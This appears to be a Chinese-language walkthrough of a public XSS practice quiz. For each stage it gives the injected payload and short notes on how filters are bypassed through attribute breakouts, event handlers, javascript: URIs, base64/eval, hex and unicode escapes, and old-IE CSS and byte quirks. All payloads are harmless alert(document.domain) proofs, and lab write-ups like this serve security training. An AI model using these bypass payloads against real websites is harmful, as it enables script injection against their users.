https://xss-quiz.int21h.jp
1.沒有過濾的xss
<script>alert(document.domain);</script>
- 屬性中的xss
設置獨一無二的字符串如:“yyy”,方便查找值在代碼中的結果
"><script>alert(document.domain);</script>
3. 選擇列表中的xss
<script>alert(document.domain);</script>
4.隱藏參數中的xss
"><svg onload=alert(document.domain)>=%0a
5.限制輸入長度
<script>alert(document.domain);</script>
6.HTML事件中的xss
onmouseover="alert(document.domain)"
7.空格分隔屬性中的xss
1111 1111=111
onmouseover=alert(document.domain)
8.JavaScript僞協議觸發xss
javascript:alert(document.domain);
- UTF-7 編碼的xxs
onclick="alert(document.domain)"
10.繞過過濾domain爲空的xss
輸入<script>alert(document.domain);</script>
,查看代碼發現過濾domain
-雙寫繞過
"><script>alert(document.ddomainomain);</script>
-編碼繞過
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
11.繞過替換script和on事件的xss
輸入<script>alert(document.domain);</script>
,結果將 “script”替換“xscript”
-僞協議+	不可見字符繞過
"><a href="javas	cript:alert(document.domain);">here</a>
-僞協議+字符轉爲unicode編碼繞過
"><a href="javascript:alert(document.domain);">here</a>
12.利用IE特性(反引號``閉合左邊雙引號)繞過xss過濾
``onmousemove=alert(document.domain)
13.利用css特性繞過xss過濾(低版本IE)
backgroud-color:#f00;background:url("javascript:alert(document.domain);");
14. 利用css特性繞過xss過濾(低版本IE)
這裏過濾了expression,url,eval,script,但是通過加入註釋符可繞過:
here:expre/**/ssion(onmouseover=function(){alert(document.domain)}
或者:
here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));
15.十六進制繞過過濾觸發xss
輸入asd<script>alert(document.domain);</script>
,查看代碼發現第二處過濾“/”
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
16. Unicode編碼繞過過濾觸發xss
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
17. 利用特殊字節喫掉雙引號繞過xss(低版本IE)
p1=1%A7&p2=+onmousemove%3Dalert%28document.domain%29%3B+%A7
18瀏覽器解析錯誤(低版本IE)
把一些8位的字符直接解釋成7位ascii
故"><script>alert(document.domain)</scirpt>
就轉換
爲%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
(已經修復)